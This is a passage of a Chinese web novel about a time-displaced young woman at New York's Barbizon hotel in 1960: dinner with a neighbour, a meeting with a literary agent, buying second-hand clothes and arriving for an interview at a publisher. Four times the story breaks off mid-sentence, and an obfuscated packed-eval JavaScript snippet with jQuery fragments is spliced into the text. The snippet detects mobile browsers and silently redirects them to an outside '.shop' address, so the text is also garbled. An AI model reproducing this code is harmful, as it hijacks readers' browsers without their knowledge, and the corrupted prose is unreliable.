“很多人在看你?你不用在意这个,毕竟很多人这时候无事可做,就喜欢议论这些。如果你在巴比松呆得久一些,就不会意外于这些了。”多萝西也就比丽莲早下楼半分钟,看到丽莲就走过去挽住她:“走吧,我带你去一家不错的餐厅。”
因为是出去吃饭,丽莲穿的相对正式,正是为了来纽约,新购置的那条宝蓝色连衣裙。这条裙子出席晚装场合肯定不够格,如果餐厅格调太高,吃晚餐也会显得有些格格不入(午餐倒是可以)。但丽莲刚刚问过了多萝西,对她们吃晚餐的餐厅心中有数了,这才穿了这条裙子。
这条裙子正如当初买的时候珍妮弗和玛丽姐妹评价的那样,相当适合她,而且腰真的掐得特别细。这可真够引人注目的,不只是吸引了巴比松的女士们,走出巴比松后,一路上都有男士在看她,并且尝试上前搭讪。
好在多萝西这方面也有着丰富经验,迅速带她摆脱了这些男人,抵达了街尾的一家小餐厅。
“总是这样,巴比松附近从来不缺少徘徊的男人,他们都对巴比松有一种奇怪的幻想——一个现实中的女儿国,里面全都是美女什么的。而且这里男士禁入,这更增添了他们的兴趣,男人都这样,喜欢不守规矩、喜欢找刺激,是不是?”多萝西在餐厅坐下时,无奈地对丽莲说。
丽莲也跟着无奈地笑了笑,接过菜单,在常客多萝西的建议下点了够两人吃的菜。
多萝西告诉她:“我假如你不是某个富豪的女儿,又或者不打算每餐都等男人来请客——当然,如果你有这个打算,这不是问题。”
“总之,生活在纽约很贵,我们能够找到的工作是很难维持光鲜生活的,所以精打细算是必须的。这类品味还不错、味道也过得去,更重要的是,还挺便宜的餐厅,就要有所了解了...这里比在巴比松吃便宜不少,更便宜的就只有你买一些熟食、面包,然后回自己房间吃了。”
多萝西是‘纽漂’前辈,给丽莲介绍了一些自己的经验,甚至今天带她来的餐厅也是经验的一部分。
“对了,你来纽约挣自己的大学学费,有想过要做什么吗?”菜端上来后,多萝西停下了自己的经验介绍,说起了另一个实际的问题:“大多数姑娘都想挣钱,至少在找到适合结婚的那个男人前,得能养活自己吧?但就是在挣钱这件事上,她们很盲目。”
“她们知道纽约机会很多,可到底她们要什么样的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644739|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
机会呢?我不是说,这样的姑娘就没前途了,但她们确实不能和那些目标明确的姑娘比。”
丽莲点了点头,没有隐瞒地说:“我主要想写一些东西,当然,写一些东西不必搬来昂贵的纽约。但写东西赚钱太看运气了,所以我需要在成功之前有另外赚钱的路子——这就无所谓是什么了,只要合法合理,我基本都可以的。”
“写作吗?唔,这也不奇怪,巴比松多的是‘艺术生’,也还住着好些知名杂志的编辑、供稿人呢。我觉得你可以尝试去认识这些人,另外巴比松内部有作家组成的小团体,加入进去说不定也有点儿用。”多萝西不太了解这个,她一直混巴比松内百老汇的小圈子,最多跨模特那边,不过还是尽力给了丽莲建议。
“谢谢你,亲爱的,你人真好。”丽莲发自内心地感谢多萝西,然后才解释‘文学代理人’的事儿:“明天之后我会再看看的...明天我要先去见一个文学代理人,如果那个给我写信的人没有骗我,他真的是文学代理人的话。”
“我在杂志《红龙》上发表了一个小故事,有一个文学代理人似乎因为这个看好我,所以给我写了信,这也是我从家乡来纽约的原因之一。虽然就算没有这封信,我本来也是打算来纽约寻求一些机会的。”
多萝西‘哦’了一声,然后就赞同地点了点头:“不错,这很不错,你是考虑得很清楚了才来的,对吗?这样很好,这样才不会浪费时间。可惜的是,现在不只是巴比松,而是纽约挤了太多浪费时间地漂亮姑娘了——我是说,她们都很可爱,但说不定留在家乡能够过得更好。”
纽约机会是多,但大家都来,竞争也就激烈了。如果是以年轻貌美为资本来的女孩,或许在家乡算是美人,在这里就有些泯然众人了。这个时候再少一些算计,很容易就被纽约辜负了青春,最后却一事无成。
丽莲确定自己认为的一事无成和对方认为的不一样,多萝西大概是指找个好对象结婚这件事?不过也没什么,即使是丽莲那个意思,放在这个语境下也没问题。
所以她对和文学代理人见面这件事是很认真的,昨天才到就给对方打了信上留的电话,然后约好了明天上午见。
17.巴比松大饭店(8)
礼拜四早晨,家住曼哈顿‘小意大利’的保罗·马里诺,吃完早餐后就出门了。这对一个已经退休的老人来说是不多见的,对此他的小女儿,也是唯一还未结婚、离开他另外居住的子女,还忍不住犯了嘀咕。
“您要去见那位‘李夫人’吗?您就那样看好她?我也看过发表在《红龙》上的那个故事了,的确有些创意,但也仅此而已了。如果不是正好有两位作家的连载都开了天窗,有太多版面需要填充,根本不会用那篇稿子。”保罗的女儿正在读大学,是文学系的,对文学作品有自己的看法。
保罗·马里诺整理好领带和口袋巾,冲自己的小女儿摇摇头:“哦,你不懂,你缺少这方面的经验——流行作品和你上课时学的那些文学作品不一样,它们有着不同的评判体系,对它们的作者是否有天赋,标准也是不一样的。”
保罗·马里诺正是那个看好丽莲的文学代理人(‘李夫人’是丽莲的笔名),他原本是一位业内编辑,是四十多岁后才开始做文学代理人的。大概在前年,他手头最后一个作家结束了和他的合约,考虑到年纪也差不多了,他便干脆退了休。
但大概是因为退休后日子无聊,今年他又想要重新开始工作了。
想要重出江湖的保罗·马里诺没有去找以前的老朋友,找一些已经看得出前途来的半新人——其中特别好的都被看做是摇钱树,也不会让给保罗·马里诺,而如果只是个普通的半新人,保罗·马里诺又觉得没意思。
他已经有足够养老的钱了,重新出来工作不单纯是为了一份养家糊口的钱!他需要的其实是成就感,当然能多赚一些就更好了。
所以他选择了从头做起,从各个杂志的新人投稿里寻找可造之才,挖掘很可能闪耀的原石——《红龙》那次只能说是恰好,当时他去杂志社看朋友,遇到了杂志可能开天窗,编辑们只得去搜寻本来打算退掉的稿子的事。
他觉得‘李夫人’的那个故事很有意思,那是一个名为《祭品》的短篇,以女主角的第一视角展开故事——一个女高中生,和好朋友一起对校园传说里的灵异故事开了玩笑,这在中学很常见,没什么好说的,但故事接下来的展开让人非常不安。
先是发生了一些怪事,然后是朋友诡异遇害,读者随着主角视角,意识到了超自然力量的存在。主角和她的朋友很可能是冒犯了某些已经死去的存在,所以他们得付出代价。
但灵异故事里说的明明是一个肆意对孩子们殴打虐打的孤儿院院长(学校原址是一家小型孤儿院来着),主角却几次遇到怪事,察觉到的都是死状凄惨、生前大概遭遇过很多虐待的孩子。
这时读者和主角很容易想到,这些孩子其实也是那位‘院长’的受害者,那些怪事或许是死后都不能解脱的孩子们的‘求救’。
出于拯救无辜亡魂的想法,以及自己也需要对付那位院长,以摆脱当下的麻烦,主角在孤儿亡魂的引导下行动了起来。然而,就在经过一段恐怖冒险后,以为事情都解决了时,‘院长’出现,主角被固定在了残忍的刑具上......
怎么说呢,丽莲其实只是写了一个后世挺常见的套路故事,以为是要拯救无辜鬼魂、对抗恶鬼?实际他们是被真正的恶鬼控制的,主角于是倒在了新一天的日出前...可以总结为‘伥鬼’类故事。
不过在六十年代初,这还是挺新奇的反转的,也是因为知道这一点,丽莲才会写这样的故事。
不过她的文笔还是差了一点,另外,描述故事场面算不错(和她上辈子的专业有关,她擅长将文字转化为画面),可通过文字塑造那种身临其境的恐怖氛围就差远了——在保罗·马里诺看来,就是故事的创意极佳,画面感也有,但读者读来就差一口气。
保罗·马里诺认为‘李夫人’很有天赋,毕竟创意这个东西,除非是瞎猫碰让死耗子,不然有就是有,没有就是没有。至于其他的,其实都可以通过训练塑造。而且对方也不是真的很差,说不定只要稍加点拨就能开窍呢?
抱着这样的愿景,保罗9点半之前到达了约好见面的咖啡馆——他们约定,保罗会带一本几年前出版的《名士风流》(西蒙娜·德·波伏娃著),丽莲则会买一小束红色康乃馨放在桌上,这是他们认出彼此的标记。
而实际上,保罗并不是通过那束红花看到‘李夫人’的,在注意到花束前,他就因为咖啡厅里很多人的心不在焉,下意识将目光投向了那个注意力黑洞。
那是一个穿棉布材质、紫色格子挂颈连衣裙的年轻女郎。那当然不是什么华丽的装扮,即使在日装中,也只能说‘平平无奇’,但这个女郎本身有着无穷魔力!这条成衣棉布裙,她穿起来也直接能登上时尚杂志,让读者有要效仿的冲动。
这当然不纯粹是因为‘美丽’,美丽也是分很多种的,比如让人感到亲切的美就不适合登上时尚杂志,只能在一些普通杂志上以‘少女模特’出头。
只能说这位女郎美而骄矜,她有一种于众人中的冷淡,即使很多人在看她,她也能自成一派——围观者一开始或许会懊恼于她的漫不经心,但只要再过一会儿,就会自己说服自己了...或许她只是在思索着什么,没注意到。又或者,是我太不起眼了......
最后,连这样的想法都会消失,关于对方、关于自己的想法都消失,只剩下一种沉浸其中的、愉悦的、沉重的,甚至有些怅然若失的心情——大概看到她,慢慢就会意识到,她的美丽正属于那类‘偶然的意外’,如果没有特殊的契机,现在见到的人也不会再见。
保罗早就不是一个年轻的小伙子了,但这个时候也难免因他那意大利人骨子里的浪漫多情嘟囔一句‘上帝保佑’...他是真的觉得,有些年轻人需要上帝保佑!这样的美人怎么看都是要教一些人受苦的。
当然,与此同时,这个美人也很大可能不会顺利,毕竟她们已经不可能收获平平常常的、属于普通人的幸福了。或者说,哪怕她是个单纯简单的小女人,选择了普通的生活,那也是另一种层次的‘不幸’。
这年头,就算是普通女人也越来越被琐碎的家庭生活逼得喘不过气来,一个绝代佳人?站在他者视角,那简直是毁灭!
胡思乱想着,保罗才看到那女郎的小桌上放了一束红花,仔细一看,还真是康乃馨!
“抱歉,是‘李夫人’吗?”保罗抱着那本深色封皮的《名士风流》,走到丽莲面前,谨慎地问。
看到对方抱着的书,丽莲松了一口气,总算等来了今天的‘接头人’啊!立刻站了起来:“是,正是和您通过信的‘李夫人’,您和可以叫我富尼叶,这才是我的真姓...嗯,马里诺先生,上午好。”
保罗笑了一声,坐到了丽莲对面:“呵呵,上午好...我是说,您真让人意外,我以为我会见到一个未来的‘艾米莉·勃朗特’,却没想到见到的是未来的‘海蒂·拉玛’。”
艾米莉·勃朗特正是《呼啸山庄》的作者,这不用多说。至于海蒂·拉玛,因为‘WiFi之母’的名头,在丽莲上辈子的互联网世界时常成为话题。这不只是因为WiFi是他们那一代必不可少的,还因为海蒂·拉玛的美貌...智慧和美貌相加,话题都肯定超过只有一种的。
但她并不是WiFi技术大放异彩后,才被人从故纸堆中找出来的,实际在她演电影的时代,还没有因为研究通信技术而受重视时,她的名气就大的惊人了。只不过之后几十年间,慢慢被遗忘了,直到互联网时代,她发明的东西和大家的生活息息相关了,才又火了。
有一个例子可以说明她在她的时代有多红——在二战期间,很多明星都被请求帮忙卖战争债券,海蒂也是其中一员。而她当时其实已经埋头搞发明,不拍电影很久了,但依旧引起了很大关注。她曾一次巡回演出就卖掉了2500万美元的债券,其中最多的一天是700万美元!<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649109|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
那可是四十年代的美元啊!
而在1960年的当下,虽然她也有些过时,但大家至少知道这是一位绝色佳丽,而且喜好发明创造,是电影明星中少有的聪明——尤其是考虑到保罗·马里诺的年纪,他年轻时候见证了海蒂·拉玛是如何颠倒众生的,他会拿海蒂·拉玛恭维丽莲,是绝对的夸赞。
“这让我感到脸红,无论是艾米莉·勃朗特,还是海蒂·拉玛。”丽莲真诚地说。
她当然知道自己没有艾米莉·勃朗特的天赋与才华,至于海蒂·拉玛,一个来自WiFi时代的女孩,怎么敢比她?
察觉到丽莲并非例行公事的自谦,而是打从心底里认为自己无法与这两位伟大的、才华横溢的女性相比,诧异的就是保罗了——他还以为丽莲会是那种被宠坏的,有些不知道天高地厚的年轻人呢!
毕竟她是个过分漂亮的姑娘,而从她笔下的故事则可以看出,她至少比大多数的同龄人聪明。
漂亮而聪明的年轻人,无论男女都难免自傲。保罗甚至不认为这是问题,就算他们会因此跌跟头,也只当是年轻人成长的一部分。
这让保罗更加欣赏丽莲了,是的,作者这个行列里多的是自大成性的混蛋,大家也不觉得这有什么的,甚至将之视为天才的个性,是其魅力的一部分。但说实话,那都是成名以后的事了,成名以前就骄傲的,或许也有成功的,但就保罗所知,几乎都一事无成。
之后他又和丽莲谈了一下她的创作、对未来的想法等等,得知丽莲来纽约的主要目的是攒钱上大学,她已经被哥伦比亚大学录取了时,保罗就更倾向于她了——丽莲的美貌让她如果只是想要赚钱的话,恐怕很快就会从写作这一行退出!
而一个对自己有规划,还想着攒钱上大学的年轻姑娘,至少不用担心某天一句话不说就去拍电影或者结婚,然后写作的事就算是到此为止——保罗可不想自己花了时间和人脉培养后,一夕之间全部作废!
“...是的,我确定富尼叶小姐你非常有天赋,但你缺乏经验,实际只是在挥霍那宝贵的天赋而已,你需要一些锻炼。如果你不介意的话,这方面我有两个推荐。”保罗喝掉服务生送来的杜松子酒(此时的咖啡店几乎都卖酒),一副让丽莲自己做决定的样子。
他给丽莲两个选择,一个是跟随一位已经出名的作家做助手,那位作家也是马里诺带出来的,只要他开口,这件事很容易办。另一个就是进一家出版社了,她可以去做小说类的助理编辑,马里诺以前就在那家出版社工作,人脉深厚,还可以拜托自己的朋友教她。
二者都是学习,但前者是从作者的角度学,后者就是从编辑的角度了——丽莲觉得都挺靠谱,后世的作者不也是这样么?有的拜出名作家为师,有的就受编辑指点。
考虑了几分钟,她最终选择了后者。之所以如此,多少有受上辈子看《名侦探柯南》的影响,总觉得这种作家老师和学生的关系,容易生很多龃龉。而且那位已经出名的作家是男性,丽莲一个年轻单身女孩去做助手,还得担心‘潜规则’的问题。
这可不是丽莲杞人忧天,主要是这个时代这种事屡见不鲜!甚至真的发生了,大家不会责怪施加潜规则的男性,只会说是这个女孩不自爱、小题大做、没有社会经验,所以不会应对这种职场上大家都知道的事。
相比之下,去出版社上班这就正常多了,虽然这也算是进职场,但丽莲还不至于连这种人很多的职场都不敢闯——出版社的职场环境,和作家与助手那种偏私人的职场环境是完全不同的,后者就是个黑箱,前者要正常不少。
到时候就算遇到人渣了,丽莲大不了反击回去,就算得罪人被赶出去,问题也不大。不像助手和作者经常共处私密空间,谁知道会发生什么?或许什么也不会发生,但就像丽莲上辈子,国内环境够安全了,但单身女孩如无必要,也不必深夜穿梭在无人小巷,对吧?
18.巴比松大饭店(9)
丽莲通过与保罗·马里诺的见面,初步确定了对方真的是一位文学代理人,而不是一个说大话的骗子。当然,他们并没有因此建立起真正的信任,日久见人心,而现在也只是他们第一次见面而已。
这次丽莲并未和保罗签合同,具体还要看事情的发展...至少他承诺的出版社助理编辑的职位到手,才能说接下来的事吧——一个大的出版社,接触到保罗认识的人,至少能确定他自陈的资历是八九不离十的。
是的,丽莲已经做好准备去出版社上班了,虽然今天之前她都没有想清楚到纽约后,要从哪份工作开始做,甚至考虑过实在不行就去做平面模特。托福这辈子有一张漂亮脸蛋,倒是不用担心没机会吃青春饭......
至于说凭借多出大几十年的见识赚钱,那是需要机会的,丽莲不怀疑自己能做到,但要积累本金以及耐心等待。而等待期间总不能什么都不做吧?所以找个工作先做着,骑驴找马也是丽莲的策略。
而一份助理编辑的工作,丽莲觉得是一个不错的开始——此时女性能做的工作很有限,除了服务业或者进厂打工,办公室里的工作基本就是接线员、速记员和秘书三种,其中秘书虽然不是最多的,但因为相对‘露脸’,在此时几乎成为了女白领的代称。
相对而言,助理编辑这类并非女性专属的职位,即使再低级,也鲜见女性,各方面待遇更是要好不少。丽莲一个拿高中毕业学历的小地方女孩,能够初入职场就得到这个职位,完全就是享受了一把特殊待遇...当然,还是要等到她真得到了这份工作才谈得到‘特殊’。
想着这些的丽莲搭公交车从中城区返回了巴比松所在的上城区,在巴比松附近的站台下车后看到有一个餐车生意不错,顾客似乎都是附近办公大楼里涌出来的白领,便也去排队买了一个三明治。
这样一个三明治是由两个三角组成,只要30美分,显然是最便宜的午餐选择了——丽莲接下来很长一段时间都要在纽约生活,而收入可预见的很长一段时间里都只会堪堪够用,所以还是要节省从当下做起。
她甚至没买一杯咖啡,巴比松内想要蹭到免费茶水和咖啡的机会很多,而刚刚餐车上一杯咖啡也要35美分,比三明治都贵了。丽莲猜测这是因为没有速溶咖啡的原因,这个时候其实已经有速溶咖啡了,但不太普及,主要是速溶咖啡味道太糟糕了,没多少人愿意接受它,尤其是在美洲大陆这边。
历史上好像就是六十年代中期,雀巢发明了新工艺,让速溶咖啡的味道到了人们可接受的程度,这才让速溶咖啡在全球推广开。这样想着,丽莲觉得购买雀巢的股票或许是个不错的主意,现在雀巢已经是很有名的食品公司了,但雀巢速溶咖啡的全球流行肯定会极大推高其股价。
不过她转念一想,又摇头失笑...谁知道那是哪一年的事呢?说不定在那之前她早就财富自由了。
丽莲就这样带着当午餐的三明治回到了巴比松,还在前台取了存在那里的房间钥匙。前台小姐看到她,将钥匙递给她的同时告诉她:“富尼叶小姐,布鲁斯小姐留了话给您,说您如果回来了,记得去18楼的会客厅去见她。”
丽莲点点头,之后先特意去大堂楼上夹层晃了一圈,不出所料看到了免费提供的咖啡。虽然看起来味道就很淡,但无所谓,她拿了个一次性纸杯倒了一杯,配着她那份鸡蛋三明治就吃完了——三明治味道不错,难怪有那么多打工人排队,好吃省钱,可以考虑作为固定午餐之一了。
吃完之后,丽莲才乘电梯回了自己房间所在的10楼,在房间里放下了出门时带的手提包,还在盥洗室对着镜子整理了一下头发。
她是长发,但今天并没有盘发髻,而是用了一些手法将长发变成了短发——说起来很简单,就是长发从下到上三分之一处开始编三股麻花辫,编好后用皮筋扎起来,然后可以用材质不那么滑的发带穿过皮筋,再向内开始卷。卷动的发带带着头发朝内卷,卷到脑后脖根,将发带两头牵起,扎在头顶就行了。
之后稍微整理一下,就很像发尾内扣的波波头。
没办法,丽莲今天穿的裙子是她以前的,虽然是其中最好的一条,但也难免带出少女感。这种时候绾发髻就显得不协调了,而披散头发、扎马尾?前者在白天会有些不礼貌(不在意的人当然可以不在乎),后者太学生气,容易被轻视。
现在这样就既青春娇俏,不显得突兀,也不会让人觉得像个学生妹,不可信赖。
这样的头发经过了一上午的活动,就有一些碎发扎出来。丽莲重新弄了一遍,确定没什么问题后就去了前台小姐提到的会客厅——18楼的会客厅可以看作是第二大堂,它是巴比松一个半对外空间。
不同于一楼大堂谁都能来,不少打着歇脚名头,实际就是为了看美女的男人,都会走进一楼大堂,没人会拦他们。18楼的会客厅虽然不是什么男性禁地,但也只有确定他们是某位住客的男伴的情况下,他们才能登堂入室。
不过现在这个时间段,基本没有男人就是了。丽莲到的时候就这样,这里的姑娘三五一群坐在一起,所以衬得靠窗一大群围在一起的姑娘格外显眼。
多萝西·布鲁斯就在其中,看到她后丽莲也走了过去。等多萝西也看到她,立刻就说:“亲爱的,你穿几号的衣服?帽子呢?鞋子呢?手套呢?”
丽莲不知道这是要做什么,但还是如实回答:“衣服的话,一般4号或者6号,具体要看是什么版型。帽子如果是要看头围的那类,我戴22号的,手套是7号...鞋子,鞋子一般是4号、5号?但到底是否合适还是得试穿。”
“这就足够了!我早上就想说,你很有机会——我来为你介绍,这位是芭芭拉,她是个模特,马上就要结婚了!所
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654210|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以有一些旧衣服要处理,你有兴趣吗——芭芭拉,这是我的新邻居,同样住10楼的丽莲,你觉得她怎么样?”多萝西飞快地抢过话,对旁边一位穿白色连衣裙的女郎说道。
丽莲还搞不清楚情况时,‘芭芭拉’已经上下打量了一番丽莲:“...是的,昨晚我已经听一些人提过她了,嗯,我觉得还可以。你的胸围、腰围、臀围是多少?我是说,穿塑身衣的情况下。”
“91、61、88?”丽莲回忆着说。
上辈子她不是那种会记录自己身材数据的人——但此时这很常见,此时女士们习惯对自己精益求精,毕竟这是个女性几乎没有事业可言,婚姻就是全部的时代,卷外貌身材在这种情况下是理所当然的。
丽莲之所以能拿出最近的身材数据,是因为来纽约之前买了好几套衣服。
此时的衣服普遍讲究‘合体’,而考虑到衣服都不便宜,大家就更谨慎了,所以买衣服时会很注意身体数据。
“哦,那就可以,待会儿挑衣服你也来吧。”她没有问丽莲愿不愿买二手衣服,似乎是默认丽莲肯定愿意的。
丽莲有眼色地没有问什么,而是过了一会儿,大家似乎要拥簇着芭芭拉去她的房间时,才落后了一点儿,低声问多萝西这是怎么回事。
多萝西这才想起来,丽莲是‘新来的’,这方面没经验。之后她给丽莲稍微解释了一下,丽莲就明白了——做模特的女孩都很容易在工作时获得一些赠品,主要是化妆品和衣服。多余的化妆品可能平时就送人了,衣服则是等到现在这种情况,大家才能沾光的。
芭芭拉要结婚了。
或许普通女孩结婚,还会精打细算把以前很多衣服留着。但长相漂亮、住在巴比松的模特,她们显然不是为了嫁一个普通人才苦心经营的,她们的结婚对象至少是中产以上。这让她们可以放肆采购结婚后需要的衣服,于是送掉以前的旧衣服就不足为奇了。
“...普通的衣服就算了,但不少都是高档服装...我是说,我们需要穿好衣服的时候太多了,衣服从来不够。如果都需要去百货公司买,那谁也承担不起,我们又不是女继承人什么的。”多萝西打趣地笑了笑。
“我注意到了你的身材,和芭芭拉好像差不多,所以才想到你可以。”多萝西就没想过丽莲会拒绝这件好事!
这可不是几十年后纺织品便宜的时候,特别是高档的衣服,一套掏空一个女白领一个月的薪水也不是什么奇怪的事!总之,大家都不在意穿旧衣服,反正穿的人都很小心,没人会知道这是二手货。
丽莲也确实没有拒绝,她虽然买了一些衣服,但接下来就要在纽约当打工人了,职场、甚至日常生活都对女性有着装上的要求(当然,如果她不呆在上城区,而是去下城的纺织厂当女工、酒吧做服务生,倒是可以不用在意这种着装要求),多做准备也没错。
19.费比安出版社(1)
丽莲最终买了50块左右的二手服装和首饰,除了两套衣服外,还有比较百搭的鞋子一双、包包一个,以及几件时装首饰——其实鞋包没那么必须,她不是没有几件‘百搭款’,但实在是太便宜了!
所以她考虑到鞋子的磨损总是比较多(这年头哪怕是白领也经常步行),包则是缺少一个偏大一些、适合文职工作的,以此说服自己剁手了...说到底还是太便宜了,以至于有一种不买就是亏的感觉。
还有时装首饰,就是用便宜材料做的,但有设计感的首饰。丽莲也有几件,但多是在拉斯维加斯置办的,为了适应当时的场合,大多比较夸张,更适合晚装穿戴。现在购进的两对耳环(一对金色圆环、一对彩色琉璃花朵的)、一枚金色向日葵胸针、一条底部缀有迷你羽毛笔的金色长项链,都是更适合文职女性的。
至于那两套衣服,一套是白绿色短袖铅笔连衣裙。此时女秘书上班时大多穿上下两截的套装,连衣裙比较少见,有也多是铅笔裙。伞裙的话,不是没有,但因为特别容易让人联想到少女、家庭主妇,所以不多见。
林千秋很喜欢这条裙子,它的底色很清新,是一种淡淡的白绿色,上面是菱形分布的白色雏菊,雏菊图案呈现砑花式的肌理感,显得自然又不失精致。
然后,它还没有铅笔裙常见的‘紧身’——此时的职场女性流行用有弹性的针织料子铅笔裙,这样会非常显身材,这条裙子则不是,它更接近H廓形,而不是沙漏型,上下还不拘束(只是腰间用一条苔绿色的宽腰带束出腰线)。
丽莲的身材非常非常好,所以她才更不愿意穿那类紧身的铅笔裙...那会呈现出芭比娃娃式的夸张感,太引人注目了。
另一套则相对普通不少,灰色人字纹下裙+白衬衣,再加一件棕黄色中款薄风衣。不算风衣的话,其实可以说是女性职员的基础套装了,而这丽莲偏偏没有。这么上下一套,其实去买新的也不贵,普通材质可能加起来也就十几美元。这套比较好,也最多二十块上下。
丽莲会买,就在于这一套几乎是新的!
它原本的主人芭芭拉只是穿着它拍了一次广告,拍完后品牌方当然不会收回。本身就是平价服装,收回了干什么呢?而芭芭拉作为一个混出头的模特,平常也不可能穿这种风格和品质的衣服。所以这套衣服和其他赠送的衣服一起送洗后拿回来,就没再穿过。
从价格来说,丽莲买这套衣服更像是那件风衣的赠品(丽莲先问了风衣,然后才问的这套衣服,芭芭拉说再加5块就是她的了)...那件风衣给丽莲的感觉很现代,基本她上辈子穿也不违和。
而她又恰好没有这种春秋穿的薄风衣,考虑到夏季套装披上这样一件风衣,就可以顶过半个秋天了,便笑纳了——这件风衣是个中端品牌,是今年春天的新款,原价好像是29块8毛?芭芭拉最多穿了三四次,她让丽莲半价拿走。
丽莲还算克制的,最后的收获就是这些。而她之所以这样克制,一方面是考虑到未来很长一段时间不会有什么进项,上班赚的钱能维持收支平衡就不错了。另一方面,也是因为相比起其他人,她和芭芭拉根本不熟,所以在挑东西这件事上没什么‘优先权’。
能挑到眼下这些东西,已经是‘差异化’的结果了——和芭芭拉相熟,且能穿她尺码的,基本是别的模特,恰好对这些不感兴趣。
丽莲也很满意了,为了感激多萝西这种好事想着她,她提出了请对方吃饭。多萝西倒是没有客套,但因为这两天她晚餐都有约,所以当下没有确定下来,只说过几日有空再说。
之后没过两天,丽莲就用上了这次捡漏买到的二手服装。她去代理人保罗所说的费比安出版社面试时,穿的就是那条白绿色的裙子。她为之搭配了一顶白色的钟形帽、一双白色猫跟鞋和一只白色包包,甚至还戴了一双白色的短手套。
女士手套这对几十年后的人来说和‘古董’也没什么差别,而在六十年代,则正处于一个模糊时期。既不像上一代时,体面女士都戴,这还是女人味的一个体现,也不像十年后会被认为是‘过时’。此时是戴也OK,不戴也没什么,不过一些正式场合,大家倾向于戴。
面试嘛,丽莲就正式了一点,虽然按照保罗的说法,这次面试只是走个过场。
“...公园大道,370号。”下了公交车后,丽莲最后一次确认了一遍记在记事本上的地址,然后将记事本放回包里,朝着不远处一座大楼走去。
今天是面试的日子,丽莲提前了一会儿来,比上班的人还早一些。这有一个好处,没到早高峰,人相对较少——不过这时候总有一些上班的人,所以路上来来往往少不了行色匆匆的打工人,走进大楼时也已经有人在等电梯。
丽莲在一楼大堂确定出版社在几楼,就赶上了电梯。同电梯的还有几人,其中居然还有一个姑娘和她是同一楼层,她们互相看了一眼,大概都从对方生涩的表现意识到了对方也是来面试的。
一开始她们都没说话,是直到走出电梯,确实走进了费比安出版社的办公区,才微笑着互相点了一下头。
这个时候费比安出版社的办公区一个职员都没有,只有一个派信件的小伙子,将一个个信封放到对应的工位上。那姑娘稍一犹豫就走上了前说:“嗨!请问,大家都在哪儿呢?”
年轻小伙子原本只顾低头工作,抬头顺着声音看了一眼,还是一边派信件,一边解释:“你来早了,再过一会儿,人就会多到你需要躲起来了。”
“看起来我们都来早了,对吗?”丽莲走到姑娘身边,率先做了自我介绍:“丽莲·富尼叶,来面试的。”
姑娘点点头:“卡洛琳·班德,也是来面试的...是职业介绍所介绍来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657256|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,这里看起来似乎不错。”
这个时候很少见一个公司招聘、来很多求职者的情形,不是特别吃香的职位,一个工作能来两三个面试者就不错了。与之对应的,一般这种求职者都是职业介绍所介绍来的,本来就大概符合招聘方的需求(算是职业介绍所做了一个初筛?)。
丽莲估计对方是要做此时常见的打字员或者秘书(广义来说,此时打字员经常被认为是秘书的一种,是其中比较低级的),这种只要有达到要求的学历和技能,招聘方也别无所求了,所以面试者只有一个都很正常。
她们也没有聊更多,因为没过几分钟,就像那个小伙子说的那样,人很快多的她们需要给人让道,以免阻碍交通了——大家好像都是卡点上班?所以最后几分钟,人就突然涌进来了,其中大部分是女士,她们占据了办公区几乎所有工位。
男人也有,不多,基本会走向单独的办公室,那是属于管理层的。也有女士有自己的办公室,但那是凤毛麟角。
就在卡洛琳·班德看到这么多人,一时间不知道找谁时,就有经验丰富的人注意到了她——似乎就是负责面试她的,很快走了过来,自我介绍是‘速记池’的头儿‘玛丽·艾格尼丝’。
‘速记池’是一个很有历史感的词汇,上辈子丽莲听都没听过!这辈子倒是知道,就是一些大公司总的管理所有低级秘书(包括打字员)的部门,很形象地描述了办公区一排排摆了打字机的工位、仿佛水池的景象。
有点儿让丽莲联想到日本公司过去的‘庶务课’(她上辈子看老日剧来着)。
